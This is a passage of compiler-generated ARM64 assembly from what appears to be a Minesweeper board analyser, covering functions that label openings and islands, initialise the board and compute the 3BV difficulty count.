ldursw x10, [x29, #-8]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB8_18
b LBB8_2
LBB8_2: ; in Loop: Header=BB8_1 Depth=1
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-8]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #28]
str w8, [sp, #16]
b LBB8_3
LBB8_3: ; Parent Loop BB8_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [sp, #16]
ldr x9, [x9]
ldursw x10, [x29, #-8]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB8_16
b LBB8_4
LBB8_4: ; in Loop: Header=BB8_3 Depth=2
ldr x8, [sp] ; 8-byte Folded Reload
ldr w9, [sp, #16]
adrp x10, _h@GOTPAGE
ldr x10, [x10, _h@GOTPAGEOFF]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-12]
add w9, w9, w10
str w9, [sp, #12]
ldr x8, [x8]
ldrsw x9, [sp, #12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB8_10
b LBB8_5
LBB8_5: ; in Loop: Header=BB8_3 Depth=2
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #12]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB8_10
b LBB8_6
LBB8_6: ; in Loop: Header=BB8_3 Depth=2
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB8_9
b LBB8_7
LBB8_7: ; in Loop: Header=BB8_3 Depth=2
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #8]
ldur w9, [x29, #-4]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB8_9
b LBB8_8
LBB8_8: ; in Loop: Header=BB8_3 Depth=2
ldursw x9, [x29, #-4]
adrp x8, _size_ops@GOTPAGE
ldr x8, [x8, _size_ops@GOTPAGEOFF]
add x9, x8, x9, lsl #2
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB8_9
LBB8_9: ; in Loop: Header=BB8_3 Depth=2
ldur w0, [x29, #-4]
ldr w1, [sp, #12]
bl _set_opening_border
b LBB8_14
LBB8_10: ; in Loop: Header=BB8_3 Depth=2
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB8_13
b LBB8_11
LBB8_11: ; in Loop: Header=BB8_3 Depth=2
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #12]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB8_13
b LBB8_12
LBB8_12: ; in Loop: Header=BB8_3 Depth=2
ldur w0, [x29, #-4]
ldr w1, [sp, #12]
bl _process_opening
b LBB8_13
LBB8_13: ; in Loop: Header=BB8_3 Depth=2
b LBB8_14
LBB8_14: ; in Loop: Header=BB8_3 Depth=2
b LBB8_15
LBB8_15: ; in Loop: Header=BB8_3 Depth=2
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB8_3
LBB8_16: ; in Loop: Header=BB8_1 Depth=1
b LBB8_17
LBB8_17: ; in Loop: Header=BB8_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB8_1
LBB8_18:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _process_island ; -- Begin function process_island
.p2align 2
_process_island: ; @process_island
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldur w9, [x29, #-4]
ldr x11, [x8]
ldursw x12, [x29, #-8]
mov x10, #56
mul x12, x12, x10
add x11, x11, x12
str w9, [x11, #12]
ldursw x11, [x29, #-4]
adrp x9, _size_isls@GOTPAGE
ldr x9, [x9, _size_isls@GOTPAGEOFF]
add x11, x9, x11, lsl #2
ldr w9, [x11]
add w9, w9, #1
str w9, [x11]
ldr x8, [x8]
ldursw x9, [x29, #-8]
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #20]
stur w8, [x29, #-12]
b LBB9_1
LBB9_1: ; =>This Loop Header: Depth=1
; Child Loop BB9_3 Depth 2
ldr x9, [sp] ; 8-byte Folded Reload
ldur w8, [x29, #-12]
ldr x9, [x9]
ldursw x10, [x29, #-8]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB9_12
b LBB9_2
LBB9_2: ; in Loop: Header=BB9_1 Depth=1
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-8]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #28]
str w8, [sp, #16]
b LBB9_3
LBB9_3: ; Parent Loop BB9_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [sp, #16]
ldr x9, [x9]
ldursw x10, [x29, #-8]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB9_10
b LBB9_4
LBB9_4: ; in Loop: Header=BB9_3 Depth=2
ldr x8, [sp] ; 8-byte Folded Reload
ldr w9, [sp, #16]
adrp x10, _h@GOTPAGE
ldr x10, [x10, _h@GOTPAGEOFF]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-12]
add w9, w9, w10
str w9, [sp, #12]
ldr x8, [x8]
ldrsw x9, [sp, #12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #12]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB9_8
b LBB9_5
LBB9_5: ; in Loop: Header=BB9_3 Depth=2
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #12]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB9_8
b LBB9_6
LBB9_6: ; in Loop: Header=BB9_3 Depth=2
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB9_8
b LBB9_7
LBB9_7: ; in Loop: Header=BB9_3 Depth=2
ldur w0, [x29, #-4]
ldr w1, [sp, #12]
bl _process_island
b LBB9_8
LBB9_8: ; in Loop: Header=BB9_3 Depth=2
b LBB9_9
LBB9_9: ; in Loop: Header=BB9_3 Depth=2
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB9_3
LBB9_10: ; in Loop: Header=BB9_1 Depth=1
b LBB9_11
LBB9_11: ; in Loop: Header=BB9_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB9_1
LBB9_12:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _init_board ; -- Begin function init_board
.p2align 2
_init_board: ; @init_board
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _openings@GOTPAGE
ldr x8, [x8, _openings@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
str x9, [sp, #32] ; 8-byte Folded Spill
adrp x9, _size@GOTPAGE
ldr x9, [x9, _size@GOTPAGEOFF]
str x9, [sp, #40] ; 8-byte Folded Spill
adrp x9, _board@GOTPAGE
ldr x9, [x9, _board@GOTPAGEOFF]
stur x9, [x29, #-32] ; 8-byte Folded Spill
adrp x9, _islands@GOTPAGE
ldr x9, [x9, _islands@GOTPAGEOFF]
stur x9, [x29, #-24] ; 8-byte Folded Spill
str wzr, [x8]
stur wzr, [x29, #-8]
b LBB10_1
LBB10_1: ; =>This Loop Header: Depth=1
; Child Loop BB10_3 Depth 2
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldur w8, [x29, #-8]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB10_20
b LBB10_2
LBB10_2: ; in Loop: Header=BB10_1 Depth=1
stur wzr, [x29, #-12]
b LBB10_3
LBB10_3: ; Parent Loop BB10_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-12]
adrp x9, _w@GOTPAGE
ldr x9, [x9, _w@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB10_18
b LBB10_4
LBB10_4: ; in Loop: Header=BB10_3 Depth=2
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldur w8, [x29, #-12]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w8, w8, w9
stur w8, [x29, #-16]
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB10_6
b LBB10_5
LBB10_5: ; in Loop: Header=BB10_3 Depth=2
ldur w8, [x29, #-8]
subs w8, w8, #1
str w8, [sp, #20] ; 4-byte Folded Spill
b LBB10_7
LBB10_6: ; in Loop: Header=BB10_3 Depth=2
ldur w8, [x29, #-8]
str w8, [sp, #20] ; 4-byte Folded Spill
b LBB10_7
LBB10_7: ; in Loop: Header=BB10_3 Depth=2
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldur x10, [x29, #-32] ; 8-byte Folded Reload
ldr w8, [sp, #20] ; 4-byte Folded Reload
ldr x10, [x10]
ldursw x11, [x29, #-16]
mov x12, #56
mul x11, x11, x12
add x10, x10, x11
str w8, [x10, #20]
ldur w8, [x29, #-8]
ldr w9, [x9]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB10_9
b LBB10_8
LBB10_8: ; in Loop: Header=BB10_3 Depth=2
ldur w8, [x29, #-8]
str w8, [sp, #16] ; 4-byte Folded Spill
b LBB10_10
LBB10_9: ; in Loop: Header=BB10_3 Depth=2
ldur w8, [x29, #-8]
add w8, w8, #1
str w8, [sp, #16] ; 4-byte Folded Spill
b LBB10_10
LBB10_10: ; in Loop: Header=BB10_3 Depth=2
ldur x9, [x29, #-32] ; 8-byte Folded Reload
ldr w8, [sp, #16] ; 4-byte Folded Reload
ldr x9, [x9]
ldursw x10, [x29, #-16]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
str w8, [x9, #24]
ldur w8, [x29, #-12]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB10_12
b LBB10_11
LBB10_11: ; in Loop: Header=BB10_3 Depth=2
ldur w8, [x29, #-12]
subs w8, w8, #1
str w8, [sp, #12] ; 4-byte Folded Spill
b LBB10_13
LBB10_12: ; in Loop: Header=BB10_3 Depth=2
ldur w8, [x29, #-12]
str w8, [sp, #12] ; 4-byte Folded Spill
b LBB10_13
LBB10_13: ; in Loop: Header=BB10_3 Depth=2
ldur x9, [x29, #-32] ; 8-byte Folded Reload
ldr w8, [sp, #12] ; 4-byte Folded Reload
ldr x9, [x9]
ldursw x10, [x29, #-16]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
str w8, [x9, #28]
ldur w8, [x29, #-12]
adrp x9, _w@GOTPAGE
ldr x9, [x9, _w@GOTPAGEOFF]
ldr w9, [x9]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB10_15
b LBB10_14
LBB10_14: ; in Loop: Header=BB10_3 Depth=2
ldur w8, [x29, #-12]
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB10_16
LBB10_15: ; in Loop: Header=BB10_3 Depth=2
ldur w8, [x29, #-12]
add w8, w8, #1
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB10_16
LBB10_16: ; in Loop: Header=BB10_3 Depth=2
ldur x9, [x29, #-32] ; 8-byte Folded Reload
ldr w8, [sp, #8] ; 4-byte Folded Reload
ldr x9, [x9]
ldursw x10, [x29, #-16]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
str w8, [x9, #32]
b LBB10_17
LBB10_17: ; in Loop: Header=BB10_3 Depth=2
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB10_3
LBB10_18: ; in Loop: Header=BB10_1 Depth=1
b LBB10_19
LBB10_19: ; in Loop: Header=BB10_1 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB10_1
LBB10_20:
stur wzr, [x29, #-4]
b LBB10_21
LBB10_21: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB10_24
b LBB10_22
LBB10_22: ; in Loop: Header=BB10_21 Depth=1
ldur w0, [x29, #-4]
bl _getnumber
ldur x9, [x29, #-32] ; 8-byte Folded Reload
ldr x8, [x9]
ldursw x10, [x29, #-4]
mov x11, #56
mul x10, x10, x11
add x8, x8, x10
str w0, [x8, #16]
mov w8, #0
subs w8, w8, w0
subs w8, w8, #2
ldr x9, [x9]
ldursw x10, [x29, #-4]
mul x10, x10, x11
add x9, x9, x10
str w8, [x9, #52]
b LBB10_23
LBB10_23: ; in Loop: Header=BB10_21 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB10_21
LBB10_24:
stur wzr, [x29, #-4]
b LBB10_25
LBB10_25: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB10_33
b LBB10_26
LBB10_26: ; in Loop: Header=BB10_25 Depth=1
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #16]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB10_31
b LBB10_27
LBB10_27: ; in Loop: Header=BB10_25 Depth=1
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB10_31
b LBB10_28
LBB10_28: ; in Loop: Header=BB10_25 Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
subs w8, w8, #1000
cset w8, le
tbnz w8, #0, LBB10_30
b LBB10_29
LBB10_29: ; in Loop: Header=BB10_25 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _error
b LBB10_30
LBB10_30: ; in Loop: Header=BB10_25 Depth=1
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldrsw x11, [x8]
adrp x10, _size_ops@GOTPAGE
ldr x10, [x10, _size_ops@GOTPAGEOFF]
mov w9, #0
str w9, [x10, x11, lsl #2]
ldr w0, [x8]
ldur w1, [x29, #-4]
bl _process_opening
b LBB10_31
LBB10_31: ; in Loop: Header=BB10_25 Depth=1
b LBB10_32
LBB10_32: ; in Loop: Header=BB10_25 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB10_25
LBB10_33:
stur wzr, [x29, #-4]
b LBB10_34
LBB10_34: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB10_43
b LBB10_35
LBB10_35: ; in Loop: Header=BB10_34 Depth=1
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB10_41
b LBB10_36
LBB10_36: ; in Loop: Header=BB10_34 Depth=1
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #12]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB10_41
b LBB10_37
LBB10_37: ; in Loop: Header=BB10_34 Depth=1
ldur x8, [x29, #-32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB10_41
b LBB10_38
LBB10_38: ; in Loop: Header=BB10_34 Depth=1
ldur x9, [x29, #-24] ; 8-byte Folded Reload
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
subs w8, w8, #1000
cset w8, le
tbnz w8, #0, LBB10_40
b LBB10_39
LBB10_39: ; in Loop: Header=BB10_34 Depth=1
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _error
b LBB10_40
LBB10_40: ; in Loop: Header=BB10_34 Depth=1
ldur x8, [x29, #-24] ; 8-byte Folded Reload
ldrsw x11, [x8]
adrp x10, _size_isls@GOTPAGE
ldr x10, [x10, _size_isls@GOTPAGEOFF]
mov w9, #0
str w9, [x10, x11, lsl #2]
ldr w0, [x8]
ldur w1, [x29, #-4]
bl _process_island
b LBB10_41
LBB10_41: ; in Loop: Header=BB10_34 Depth=1
b LBB10_42
LBB10_42: ; in Loop: Header=BB10_34 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB10_34
LBB10_43:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _getadj3bv ; -- Begin function getadj3bv
.p2align 2
_getadj3bv: ; @getadj3bv
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
str w0, [sp, #40]
str wzr, [sp, #36]
ldr x8, [x8]
ldrsw x9, [sp, #40]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #16]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB11_2
b LBB11_1
LBB11_1:
mov w8, #1
str w8, [sp, #44]
b LBB11_17
LBB11_2:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #40]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #20]
str w8, [sp, #32]
b LBB11_3
LBB11_3: ; =>This Loop Header: Depth=1
; Child Loop BB11_5 Depth 2
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [sp, #32]
ldr x9, [x9]
ldrsw x10, [sp, #40]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB11_12
b LBB11_4
LBB11_4: ; in Loop: Header=BB11_3 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #40]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #28]
str w8, [sp, #28]
b LBB11_5
LBB11_5: ; Parent Loop BB11_3 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [sp, #28]
ldr x9, [x9]
ldrsw x10, [sp, #40]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB11_10
b LBB11_6
LBB11_6: ; in Loop: Header=BB11_5 Depth=2
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr w9, [sp, #28]
adrp x10, _h@GOTPAGE
ldr x10, [x10, _h@GOTPAGEOFF]
ldr w10, [x10]
mul w9, w9, w10
ldr w10, [sp, #32]
add w9, w9, w10
str w9, [sp, #24]
ldr x8, [x8]
ldrsw x9, [sp, #24]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
mov w9, #0
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB11_8
b LBB11_7
LBB11_7: ; in Loop: Header=BB11_5 Depth=2
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #24]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, eq
str w8, [sp, #12] ; 4-byte Folded Spill
b LBB11_8
LBB11_8: ; in Loop: Header=BB11_5 Depth=2
ldr w8, [sp, #12] ; 4-byte Folded Reload
and w9, w8, #0x1
ldr w8, [sp, #36]
add w8, w8, w9
str w8, [sp, #36]
b LBB11_9
LBB11_9: ; in Loop: Header=BB11_5 Depth=2
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB11_5
LBB11_10: ; in Loop: Header=BB11_3 Depth=1
b LBB11_11
LBB11_11: ; in Loop: Header=BB11_3 Depth=1
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB11_3
LBB11_12:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #40]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB11_14
b LBB11_13
LBB11_13:
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB11_14
LBB11_14:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #40]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB11_16
b LBB11_15
LBB11_15:
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB11_16
LBB11_16:
ldr w8, [sp, #36]
str w8, [sp, #44]
b LBB11_17
LBB11_17:
ldr w0, [sp, #44]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _calc_bbbv ; -- Begin function calc_bbbv
.p2align 2
_calc_bbbv: ; @calc_bbbv
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x9, _bbbv@GOTPAGE
ldr x9, [x9, _bbbv@GOTPAGEOFF]
str x9, [sp, #8] ; 8-byte Folded Spill
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x8, _openings@GOTPAGE
ldr x8, [x8, _openings@GOTPAGEOFF]
ldr w8, [x8]
str w8, [x9]
stur wzr, [x29, #-4]
b LBB12_1
LBB12_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
adrp x9, _size@GOTPAGE
ldr x9, [x9, _size@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB12_7
b LBB12_2
LBB12_2: ; in Loop: Header=BB12_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB12_5
b LBB12_3
LBB12_3: ; in Loop: Header=BB12_1 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB12_5
b LBB12_4
LBB12_4: ; in Loop: Header=BB12_1 Depth=1
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB12_5
LBB12_5: ; in Loop: Header=BB12_1 Depth=1
ldur w0, [x29, #-4]
bl _getadj3bv
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x9, x8, x9
ldr w8, [x9, #52]
add w8, w8, w0
str w8, [x9, #52]
b LBB12_6
LBB12_6: ; in Loop: Header=BB12_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB12_1
LBB12_7:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _open ; -- Begin function open
.p2align 2
_open: ; @open
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
str w0, [sp, #28]
ldr x9, [x8]
ldrsw x11, [sp, #28]
mov x10, #56
mul x11, x11, x10
add x11, x9, x11
mov w9, #1
str w9, [x11, #36]
ldr x9, [x8]
ldrsw x11, [sp, #28]
mul x11, x11, x10
add x11, x9, x11
ldr w9, [x11, #52]
add w9, w9, #1
str w9, [x11, #52]
ldr x8, [x8]
ldrsw x9, [sp, #28]
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB13_10
b LBB13_1
LBB13_1:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #28]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #20]
str w8, [sp, #24]
b LBB13_2
LBB13_2: ; =>This Loop Header: Depth=1
; Child Loop BB13_4 Depth 2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #24]
ldr x9, [x9]
ldrsw x10, [sp, #28]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB13_9
b LBB13_3
LBB13_3: ; in Loop: Header=BB13_2 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #28]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #28]
str w8, [sp, #20]
b LBB13_4
LBB13_4: ; Parent Loop BB13_2 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #20]
ldr x9, [x9]
ldrsw x10, [sp, #28]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB13_7
b LBB13_5
LBB13_5: ; in Loop: Header=BB13_4 Depth=2
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x10, [x8]
ldr w8, [sp, #20]
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
ldr w9, [x9]
mul w8, w8, w9
ldr w9, [sp, #24]
add w8, w8, w9
mov w9, #56
smaddl x9, w8, w9, x10
ldr w8, [x9, #52]
subs w8, w8, #1
str w8, [x9, #52]
b LBB13_6
LBB13_6: ; in Loop: Header=BB13_4 Depth=2
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB13_4
LBB13_7: ; in Loop: Header=BB13_2 Depth=1
b LBB13_8
LBB13_8: ; in Loop: Header=BB13_2 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB13_2
LBB13_9:
b LBB13_10
LBB13_10:
adrp x9, _closed_cells@GOTPAGE
ldr x9, [x9, _closed_cells@GOTPAGEOFF]
ldr w8, [x9]
subs w8, w8, #1
str w8, [x9]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
